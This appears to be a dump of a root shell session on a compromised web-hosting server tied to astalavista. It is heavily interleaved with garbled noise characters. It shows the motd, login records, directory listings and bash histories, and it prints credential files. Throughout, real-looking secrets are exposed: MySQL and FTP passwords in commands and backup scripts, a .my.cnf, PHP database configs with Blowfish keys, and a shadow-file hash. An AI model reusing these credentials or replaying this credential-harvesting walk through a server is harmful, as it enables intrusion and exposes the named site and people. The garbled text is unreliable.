astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::0 k5 U- C) B% B4 l6 E7 b6 _3 ^
9 h8 p; J2 P- m9 n
sh-3.2# cat /etc/motd
. [$ `$ e" O, e1 { i6 h6 J0 q#####################################################
9 T/ {; h& Y; a" z( B- t#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
9 g! c) V! m# o) H# |__| [__ | |__| | |__| | | | [__ | |__| #2 K% j. \+ B- ? s, A, W2 T. h
# | | ___] | | | |___ | | \/ | ___] | | | #7 Z6 ?: N O6 d6 X6 C7 u4 B: i
# #
! K0 H' Z- b- _ m' E" N#####################################################$ l' E1 i1 x& |; M; R3 t, [9 c
# #
6 W l, ]- Y$ f; d& I/ q) M3 i8 W# Admin Contact - 链接标记support@secureservertech.com #
0 t% v9 e; W5 v2 H& y# #
+ d+ o+ w D" ?5 W& L7 O# Available ShortCuts #
% X7 K' ]9 ]3 ?, p$ l0 U# #& _) y h6 m5 ]: n
# nst - list active connections #% K+ J1 K- r" o& j- }% D% }
# ddos - shows how many times each ip is connected #+ K8 |# m8 w; e6 M0 f" y) p
# ltr - restart the webserver ## V) |* f L2 g" O9 U
# phpc - edit the php config file #- I8 X4 ~7 t2 N% S
# htc - edit the webserver configuration file #
7 a3 _: M- z5 {8 h# up - uptime #
. I3 H2 ?9 g0 j( H# etd - edit the motd of the day file #; ]# z9 \4 ?- g8 F$ t0 d6 b
# htr - start and restart apache if needed #1 [# N' ?! E9 E
# syng - shows active SYN_RECV connections #
- u7 U- H: ?2 v1 P% i$ X# synd - syn flood blocker - “synd -h” for usage #
. A, h: P& K' v#####################################################
" A& z# h. A; Z( t# NOTES: #8 ~7 b& R0 A8 J
# Last Upgrade - 12-08-2008 by JF #
0 e" b9 U+ z g# e+ k r# My.cnf/Mysql Optimization - 1-28-09 #& n& y. f& O% M
# #* F# l/ t: z0 D- t
# #
1 X% T! a: s* e2 ^' K* Q0 J# #
+ L2 [' s+ T$ p3 ?' k3 @8 x#####################################################
$ j3 Q* L: f0 @& d# p- b8 x: I4 `' p/ ~
sh-3.2# lastlog | grep -v Never* l0 z( e+ r+ N: O+ b+ L
Username Port From Latest6 t( b' m# `! g c$ _/ O
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009; `# Z' y9 T) h. _0 F
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008! ]; j8 J3 C3 P
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
, F- @/ S/ \6 c; yastanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
# e) y" _8 K0 ]6 u1 L* `
- t# H0 _) W. J" ^; \5 C( Fsh-3.2# ls -la$ N. q. c O0 C, m# W2 m# W1 O
total 453376
+ [. }: e2 x& t7 ~8 i- Z. mdrwxr-x— 15 root root 4096 Jun 4 08:40 .8 b& w8 e" N3 |! N q& z7 O0 W
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
2 N5 l& o6 o8 ^/ N, R$ p o-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip
" z: Z6 W9 Y: {+ I& Q8 m) v-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg$ a9 C% b! }" q6 ]
-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
0 g5 I/ [6 Y. }-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
6 r. k0 A9 P* f- K, A-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile
7 \: {! \; s$ j" [2 l-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
" p# u5 A. y. c: d& G- d-rwx—— 1 root root 1899 Oct 28 2007 bk.sh/ m' s! p+ _# F6 E9 y# c0 N
-rw-r–r– 1 root root 1327 Nov 29 2007 cert
: w; A! n) t. R( ^2 ~& i-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql. ]4 m, |- _! K5 J6 H" P* m% t+ o
drwxr-xr-x 4 root root 4096 May 20 2008 .cpan
" A1 @2 i8 ?2 p, S1 R. ^-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc1 Z% H. Z* m& n, N5 i. I
-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql: U/ R+ F' I( C% }, d$ W6 v6 W
drwx—— 2 root root 4096 Oct 28 2007 .elinks" V( b# G1 p6 o5 g
drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
4 c# j! ^6 F( A) l-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz25 V+ R0 f ]$ E5 h. Z5 t; D0 J
-rw——- 1 root root 0 Apr 16 13:19 .history
, E* p& H0 d& O) t1 F-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
) S2 V3 ^! Y# G, |-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog
6 p. I' x( H, f& M' N7 J-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
! U4 a) U7 X& t5 Z0 D-rw——- 1 root root 35 Jun 2 14:23 .lesshst1 Q x1 U# B7 K" p6 p+ z9 K5 i* x: U
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
% F( D6 n9 M1 Z$ k. hdrwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec {7 i ^2 k6 j+ Y6 @: h6 v
-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz' i' X" f5 W; \1 k% a+ g- T
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2) u: L: l; _' g$ ~" I& n' C
-rwx—— 1 root root 760 Sep 18 2008 lp
9 ?% Z6 E4 u' ~$ N, Tdrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1# y+ X% m# C& F5 A' K7 e! D
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz. o$ A1 Y2 O* b! y$ r
-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.17 Z0 l$ }, f' B$ @' M6 l
drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9* P( C: w/ s2 ~1 U( g
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
9 ?" f M$ k" N- M# ^7 Fdrwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3% R8 m+ R3 q# ~: n
-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
+ h) {1 x* u+ Y5 M3 H1 C. Q5 ]-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh
$ H; T. v0 Y |* _3 V/ q2 _-rw——- 1 root root 41 Oct 19 2007 .my.cnf
5 v' L# F8 X9 a' e-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
3 b. Q7 Z! w9 z$ [. P-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport
4 E4 k4 K4 ]- k$ C+ j: K-rw——- 1 root root 41 May 20 2008 .mytop. u5 z- v5 K" z# ~
drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.61 |3 T$ L$ a/ W; `
-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz! A& Q/ Y& r3 w
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp" H- `, B) F2 ]% k7 L5 p
-rw——- 1 root root 1462 Sep 21 2007 opt.php
) [* i/ X) k2 y6 Q( \* c7 y-rw-r–r– 1 root root 3371 Sep 22 2007 p" a/ T9 ^. F& S H7 g* W
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
2 k9 u$ x1 {& i6 H8 c* h6 z-rw——- 1 root root 1024 Feb 3 21:32 .rnd
# C3 _- F7 k9 e; o! V/ t! v-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
' ~7 ]. l3 K7 j-rw-r–r– 1 root root 887 Nov 28 2007 server.key
" u, G' h# J# }! w$ i% `/ Qdrwx—— 2 root root 4096 Oct 10 2008 .ssh+ X5 D. z" D) u$ u
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat. }! J+ t, r/ @% }1 Z' G
-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
( Z3 H' ]) K% l-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
) I" ~+ Q5 j- M- x J+ J; g-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1% p. h' m* Z H1 { e% a+ W' d
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp- \7 Z' U" t) ~' X9 X$ c( H
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
5 s3 n6 f1 |: ?' S Idrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
: r. h$ F7 g* O& h) S& G-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz25 ~3 }# k5 @6 L! Z" Y/ ]& ]$ ]" j
-rw——- 1 root root 12997 May 16 2008 .viminfo
9 T; P# c9 i# w9 Q5 d1 \9 r
4 T0 ?* K5 f8 M" r" ~ ]sh-3.2# cat .bash_history3 U7 Z4 _5 T5 d6 i* w) {: X. H0 e
[snip]9 \6 x4 s% |% O( S: `
wget cp4sst.com/sstlinux.tar.gz6 E& @- j$ Q( ^8 A, K
tar zxvf sstlinux.tar.gz5 t- [+ H& M H
cd linux-2.6.27.10& ]/ P! A# n0 C' e G5 H, n1 e0 ]/ c
sh install.sh
' w, f) @ r/ ~, T' Q1 J# O( v+ l1 G5 rmake bzImage ; make modules ; make modules_install ; make install
" m& c' G- C. u. @/ M' hmake clean
) ^5 }/ M. i" ~service mysqld restart
0 L% `8 {+ e/ y$ e+ q" \0 V& o, ~[snip]
9 P1 Y9 p" |3 @% Y2 l/ Zcd /usr/sbin/
- \# S, `) i! o+ zchmod 4777 traceroute' K/ R% p- N' _; A) X0 P
chmod 4777 ping* f5 c8 P8 @9 u2 G* i$ \
traceroute -I 链接标记[url]www.astalavista.ch[/url]; M9 o$ k4 |% |; F4 W2 [1 h" t ^- s
[snip]
' c- F# H0 J- ~' u" v! l8 }vi /etc/csf/csf.conf4 \+ Y" B0 \9 F9 A# l R1 Z
traceroute google.ch
# O$ p+ i7 C$ ]! m2 {8 Q# W& R5 Nservice csf restart
) Z5 V9 E O" D# W8 h" v6 Wtracert google.ch2 c, o* G- t* }
service csf restart
# z0 j. j3 J& V! u9 {- ttraceroute 链接标记[url]www.google.ch[/url]7 d# X4 W) [$ l5 e, G- |0 L( W' k2 [. n
tracert 链接标记[url]www.google.ch[/url]( ~( v1 f" _0 t9 ]1 Q
traceroute 链接标记[url]www.google.ch[/url]
! b4 E3 N- |* J9 H8 Zlocate traceroute
* }7 u: c. [) k. ]chown 4755 /bin/traceroute2 j4 m$ m" v% W. M# b$ V
chown 4777 /bin/traceroute, Y/ W: R! K B* P
locate ping
4 e! r9 j% [, achown 4755 /bin/ping
f* a( @& X1 o' q* Y& vchown 4777 /bin/ping2 g3 p7 [* `4 J& L$ g% J2 F
cd /bin/8 ?: }9 d1 G5 `0 r+ f) u& M! \0 e
ls -ali | grep ping
0 m, @3 M% ]" m) ~% D2 xchown root ping
! K4 a7 ?* y& t0 |8 [8 zchmod 4755 ping B u/ u% }7 ^0 n1 J, ~
ls -ali | grep traceroute
4 [+ `% B9 N( ~0 A' Schown root traceroute
* v7 N1 D' X2 O$ w; z6 w. ?% Rchmod 4755 traceroute
, q: F7 K$ k; L; }ls -ali | grep traceroute
! R1 g% N: ?/ j5 itraceroute -I 链接标记[url]www.google.ch[/url]9 e, I: \8 Y) I0 N; l* d
traceroute 链接标记[url]www.google.ch[/url]6 S& e6 Y8 x4 j4 _, g
whois pmsantos.ch
& ?7 ]) X( `8 v6 W4 C[snip] u( P. U( [/ o$ S8 A4 c% ^
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
n% Q2 H+ Q! q1 U4 r" q1 U' `mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
6 L. r. U3 ~! Y# N% n8 cmysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
( }% W1 E. \4 N- U$ j4 R. _mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
+ n: r* p4 w& ]- T* n) [top
" v! T/ t! i" U- ?0 |' z$ `3 n& Jping ssth.ch O- Y! H8 S5 {. C' N& H
ping asdlkfaljgasd???ljg???lasj.ch5 Q1 n: x) z4 @3 j6 U
ping asdlkfaljgasdlasj.ch% f+ K3 q' a! ?1 x0 ?
ping 链接标记[url]www.ssth.ch[/url]
- ^4 M! ~5 i) P( P0 Vping ssth.ch
3 h' E/ Q/ _/ K5 q8 Q- f" snslookup 链接标记[url]www.google.ch[/url]' ~3 E0 X8 G, ]: P; C9 m" c
nslookup 链接标记[url]www.ssth.ch[/url]: y3 a# g, P7 p4 ?( o6 C
man nslookup: k% ~# \2 H1 q2 N0 J2 H
ping 链接标记[url]www.google.ch[/url], C% Q6 c. t" D3 e+ Q, K
nslookup 链接标记[url]www.google.ch[/url]
# k/ ?, u1 T: i: o' qnslookup 链接标记[url]www.google.ch[/url]3 n1 D0 e, a% ^9 ^' Y
nslookup salfjasdlf.ch2 Z: h2 J. j3 B2 A
[snip]: u& ^: t* P6 l) g" F* V
openssl passwd -1 sadf5 s5 C* ?% F0 v; h' b
openssl passwd -1 5cZNHstdTy
& l b3 f+ x' vmysql
Q H# x |! [; x, ]6 Y7 ?0 p/ J& hmysql
5 j; H8 ?! ^, {* G$ N8 |* {locate proftp
0 c1 ?4 p: `$ V6 nvi /etc/proftpd.passwd0 B4 g7 L. ^# e# f# U
service proftpd restart
$ h0 w, Z& `7 Y3 Z+ \locate proftpd.conf' b: ~" Z2 M8 t; l- X% e
vi /etc/proftpd.conf; K1 c {9 R2 ?# |# `
vi /etc/proftpd.passwd/ x9 D: S0 ~5 i( p" x
service proftpd restart
: z% ]' C5 f( y( |* Y[snip]
7 h* ^& V0 q- Q9 m: N1 ~* o/bin/sh /home/com/backup_system/backup.sh
6 u2 ~* E+ c! x% etar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
( | X1 {' D8 Gmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
, G5 c, k" ~( ]. A1 z& Smysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql a' J( H3 U% K5 r9 D5 D2 j. C
ls -ali
! V- D& N/ ?' g* B( b$ F% H1 nmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
. Y' A+ K& E, }5 ]4 t2 x. B/ tmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
. s# `) {: W w, }3 T, kcrontab -l
9 t0 \$ M( \& A- Tcrontab -l
! b; ?' }5 w" Gphp -q /home/com/public_html/modifications/cronjobs/securitynews.php
' B3 p2 q g3 ^/home/com/public_html/modifications/cronjobs/exploits.sh
8 D6 x) h( e5 ]+ |wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]
9 b3 D- c& N* u% u$ U5 m9 wtar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
6 [2 v9 a1 i# O; v7 w% kcd lsws-4.0.3
4 f) U. {; E7 i- p# ^sh install.sh" Z4 N+ A: W" P8 U0 F
uptime8 G1 E6 f+ x+ S, Y& Y5 w" Z
hdparm -tt /dev/sda) L9 [' N! w4 B
iostat
/ ?5 F* R7 ]) j$ {' M `yum install iostat
+ A( R) t0 n, @- }( [iostat
2 p& K4 J2 q) P! y5 D) iwhereis iostat
K. k* j H' l* ~/ \) C8 Qyjm clean all0 t4 _! R$ H' o
yum clean all ; yum -y update
m0 u& W" P* @+ v' m) Ziostat6 g- o+ `3 x3 _- M; n1 ^
yum install systat
) |$ O8 n( P2 Orpm -qa | grep iostat
# \: W' U* I9 @3 C6 ^rpm -qa | grep sysstat( k+ k: _. ^+ v6 `. |
rpm -qa | grep systat2 @9 [% E I$ x% I# G( _8 s
dmesg -c
) q4 e+ O5 j1 z3 T* O X5 p, hsysctl -p" O* u$ ^6 d# ~4 O! ^4 B5 J
uname -r8 e; |$ I: U" F+ L: e
cd /usr/src2 ?* S" v+ x5 _% _- ?, T
wget nix101.com/kernels/sstlinux.tar.gz
+ b+ J; c0 c7 b" r1 {shutdown -r now
/ j. v1 E! v/ _+ ~nano -w /boot/grub/grub.conf" N# h; a6 P* P( c
( n5 {) ~; S. ^6 L# l! X
sh-3.2# cat .my.cnf
$ A1 o0 Z( \2 s[client]
: L3 D# o& I1 w. Z0 }user=da_admin+ q d0 I, b5 N. V& p' L5 K
password=X9dctmRH
7 I+ g z6 Q" @
& j H& n9 i8 D' u) n: \sh-3.2# cat /home/com/backup_system/backup.sh
2 B) p, r( ~$ j% j) h$ I0 ]3 J#!/bin/sh6 F! B# E( g9 A3 f h! U
#####################################################################5 b2 u) g! \6 k, |* f2 L0 |7 c
# #
; ~- v1 S. l5 ?2 M# incremental backup for astalavista.com #! E( h# l i4 e3 X( G6 h6 L
# #0 \( a3 [2 h0 @7 S5 U# {
# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #1 K# I: v: t. h4 d* O
# #8 r: X4 J2 |; Y+ u. B$ R
#####################################################################+ h% u+ f1 w _! P m, c: f
[snip]
- F+ w7 M$ `; [3 B0 VPROG_DIR=”/home/com/backup_system”;" i9 Q5 A' I5 m; T" m
BACKUP_DIR=”/home/com/backups”;1 c! L+ Y- l9 E C, f% D
DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
/ r! s+ q* x6 e f4 L. K# ftp for synology backup server" N* ~2 w/ q# d( v7 [$ A8 e+ u4 W
FTP_HOST=”212.254.194.163″;
6 a" t; H8 U5 B2 q$ x1 FFTP_PORT=”21″;
3 j9 p8 u0 C- t7 y# p( J# e5 T* yFTP_USER=”astalavista.com”;
. ]/ q/ q8 X- g$ w, K# k9 R `FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;* N; d: A [2 {+ d$ X! W8 {( ~3 U
FTP_DIR=”/astalavista.com”;
/ f# l1 c- Z$ i' t# X, D$ C3 y# database% `; z! Y9 P1 K% K; Z
DB_HOST=”localhost”;
8 q& e( w) T. NDB_USER=”contrexxuser2″;
% n0 c9 C) y. o' z* P& t5 w6 i0 f' PDB_PASS=”0fEYNZgXz1pKe”;- B* m' q2 d4 y! ?6 J: L
DB_DATABASE1=”com_contrexx2_live”;
% | A- D5 y o" P9 TDB_DATABASE2=”com_contrexx2″;, b2 t! e% d, g
[snip]
. ?0 j/ j$ d5 ~3 _8 oftp -in $FTP_HOST $FTP_PORT <<EOF# P/ h4 v6 a9 ~$ p& W' ?
quote USER $FTP_USER x' S3 ?; w8 l5 S3 U5 s. r% I0 X
quote PASS $FTP_PASS3 H$ U$ F4 R2 T, D+ G" t3 J' ]: a
cd $FTP_DIR
l0 J" l! r4 T0 Yput $DB_FULLNAME-SQL_Dump.tar+ w# k, _+ S: D8 y* x& K
put $BACKUP_FULLNAME-Public_HTML.tar/ N& L' W* Z m5 r6 h; X/ V
close+ a) n3 P7 z# E" R3 V' ?% f0 b
bye. u$ H' \* R9 X
EOF
) j! B' v: c$ @. u' s2 r8 r
6 U! N0 n+ n' |" L/ U2 Ash-3.2# cd /home8 ?+ o! g! E0 O) H, {6 M
sh-3.2# ls -la
, v, P: e- D8 d- g' ^/ y9 etotal 120
6 j0 p5 p8 u" \) n" q$ a) z5 N- cdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .
6 r) L% q+ i d7 z4 T1 Rdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..: C2 [/ H' t9 d
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin% j) Z u; \& c& J7 u7 p' H2 s: r
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
& l- n% N8 J- Y. c. P-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
- a% S7 _1 @) e7 c/ ]drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
/ _3 N G& U+ [7 [drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
3 b: |6 Z, M! M3 ~drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
a( S9 b2 A* Z. U' H- ndrwx–x–x 10 com com 4096 Apr 28 12:40 com
/ M4 L+ U1 p! j" E3 E$ mdrwxr-xr-x 2 root root 4096 May 17 2007 ftp
" h* L7 t1 ?8 s3 h1 _( _$ kdrwx—— 3 jon jon 4096 Sep 21 2007 jon" W- y) w; l# q1 X2 ]* H8 c
drwx—— 2 root root 16384 Sep 11 2007 lost+found- R/ {9 t3 P4 J" x/ S
drwxr-xr-x 2 root root 4096 Sep 14 2007 my7 l- o$ o/ J7 q6 D" I/ ^. Q$ `
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata! O) n$ t' Z8 ]2 A; U
drwx—— 2 jon jon 4096 Sep 15 2007 test
, w, b! k; u+ ], n4 y4 vdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp$ `* R$ F. _" f
# x6 x7 O' |0 f. L, \sh-3.2# cd admin& w G& k# _! A5 x+ A' `
sh-3.2# ls -la
8 o, x6 G! {" x8 P1 b4 u$ Ltotal 1735896- m( y* C) |" c# ]4 w9 K
drwx–x–x 9 admin admin 4096 Nov 28 2007 .3 S S7 C% y& ~
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
0 E+ ~+ u4 d, D9 ydrwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups
" ^ n6 |1 M( k$ a4 xdrwx—— 2 admin admin 4096 Sep 28 2007 backups3 f# h( n' e) g
-rw——- 1 admin admin 860 Sep 17 2008 .bash_history: a8 R% H: L2 e" t. l
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout8 o( p. x- O% ]
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile8 D+ N. v7 z( U* q! {9 }, @
-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc) D6 ^, {( M. Z1 b7 Q, b: F
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups9 f% r: E0 B) _" |
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains
; R! O6 K9 w( b, m( v/ N7 Gdrwxrwx— 3 admin mail 4096 Sep 21 2007 imap
. \# K' m; Y9 U7 P: X8 [-rw-r–r– 1 root root 24 Sep 21 2007 info.php) y ]; [' Y2 N0 e2 s& i. `3 n6 Y
drwx—— 2 admin admin 4096 Sep 21 2007 mail
& c& P& W5 K/ v+ w: p- k! Y-rw-r–r– 1 root root 716 Nov 28 2007 server.csr8 |5 J9 |+ C: K# _# M7 [
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
0 d% ]6 K0 h" g. N3 z/ n+ ?-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
" j8 R& l1 V. }0 R4 A/ F. ?2 |-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz. ^7 O5 f% ?9 k& ^# K
drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
$ g U4 V7 l1 z
0 ?5 M. `% H: _( N2 @+ ~sh-3.2# ..! S/ p) h# J3 f# G; B! Z; {
sh-3.2# cd jon
1 d, g. {6 J+ z$ _6 c3 b9 |0 L8 Nsh-3.2# ls -la
* y# t" j. ?- qtotal 368 J+ ^: f+ {3 s# _3 T9 x
drwx—— 3 jon jon 4096 Sep 21 2007 .
' N4 c3 ~- n& E4 s" K: ^$ p: t6 hdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
+ E' O$ e# u2 f+ k1 b9 _$ e+ H-rw——- 1 jon jon 53 Sep 21 2007 .bash_history* u! g; `* n. u: V" n
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout- l% ?, K0 M" g; o j
-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile
, s2 b. O3 z( |: q# R1 C-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
6 Z; ?3 ?7 M: m8 r-rw-r–r– 1 root root 24 Sep 21 2007 info.php
7 B, @) P0 M+ z% |# e1 ydrwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html3 I5 I4 ]0 y9 w5 D8 i
4 p7 Z! K7 Y, u2 L9 jsh-3.2# cd ..% y% e) b7 i. q% H$ [; O- F
sh-3.2# cd test
2 U' ]+ H; O/ _$ hsh-3.2# ls -la! F* ^) v$ w1 `
total 48) R2 Q+ T0 u' B8 G3 y& z# X* H
drwx—— 2 jon jon 4096 Sep 15 2007 .
- ^) }$ r" \' a6 ]drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..0 k. F0 i# l0 q( H
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history" Y C0 U6 j0 }* ^( P/ r! X
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout+ p1 {& X9 k9 X- j
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile
2 g! s( g1 a+ i3 L i: S- G# J-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
# k3 a0 K4 H; _" d9 m) N; Psh-3.2# cat .bash_history
) l: `3 r* N9 Y) X) k9 \: Z/usr/bin/mysqladmin -u root password PoliuJhytg67: d5 h7 G% X) Z$ _6 v
% F0 ]& J. E# ush-3.2# cd ..
3 C- w5 p7 `, Bsh-3.2# cd astanet
! u! r- { v5 o9 Vsh-3.2# ls -la' z# f, `2 P' F9 o! G
total 52
/ O) D: L7 _- ^7 ydrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .5 ^! p) {' r" G9 f
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
% p0 R+ x; p+ Q9 Zdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
& _0 D6 s# A9 _0 a2 R' J-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
4 Y3 G5 r3 C- n$ U# j: T-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout/ L! |" l' q) H1 W) Q- m' V
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile6 N! \' D- E! X4 h
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
\$ Y7 D6 ` Qdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains8 _1 P) r8 I2 O0 u- x- V* \, z5 Q" M: R
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap( ?; ^- b# [# `# l% L3 ?
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
# k5 K5 L" T4 T) s5 a-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history& z. l: H, l- ?9 A8 {
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
1 J. L7 n a" v! n! ?1 [-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
" P8 T) d6 {" m1 L, _. T, F( N# U, }
sh-3.2# cd auth/7 T7 v* K% L% j4 E
sh-3.2# ls -la: v+ F+ f2 y, V* m1 _0 f! t! c- G
total 28" k+ l5 G; G! i
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
" I4 ]/ A6 Q, Z% D. G. K6 c3 Mdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..6 t# @3 A. S- T& M" b0 Y. }
-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
% W, O/ s% O- A" c8 r-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php, N6 d t* {7 h" v; I U
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd; t* I& S; ]6 z- b
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting9 o, v5 P4 i1 Y5 I; b
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd Y' L' ^4 T3 I8 v
" h6 Y1 s9 D3 I5 f/ T( F3 J T
sh-3.2# cat hackercontest.config.inc.php* S* Z5 n' Q( v2 x8 x
<?PHP
) A- ~4 n2 {5 L" ]// Variabeln f?r Verbindung zur Datenbank //. a8 K. l7 J$ k% c4 @7 B5 U: x
$conxHost = ‘localhost’; // MySQL hostname
. K# w7 v+ d. g7 w( Y6 v2 X$conxUser = ‘hackercontest’; // MySQL user8 o$ u! k( G$ f# q$ a1 S6 I6 P
$conxPassword = ‘K6m@7dUc’; // MySQL password
$ l% q& K% k' e9 t5 j7 U! r7 O4 U6 l$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish/ r* [1 B' ?7 K4 U9 }
?>
@! s0 p0 |6 W2 Ssh-3.2# cat hosting.config.inc.php/ C' E' P* K+ |1 o4 W, ~1 Z( s# a
<?PHP
) w, P) B+ N* c, \// Variabeln f?r Verbindung zur Datenbank //
1 h$ f8 d! v5 F$ ~4 n1 D$conxHost = ‘localhost’; // MySQL hostname
7 I: r6 d @6 s( w" o% j( O2 i$conxUser = ‘hostinguser’; // MySQL user
0 F% p+ {3 `. y0 f) S# c$conxPassword = ‘cXvB3981′; // MySQL password- i0 C( p( S- u6 N U& ^6 ?' t
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish' T8 y" o7 R7 b' z
?>( G% J' V0 p [5 b
! ^- b+ n0 k% \6 C! S) g8 |! H
sh-3.2# cd ..
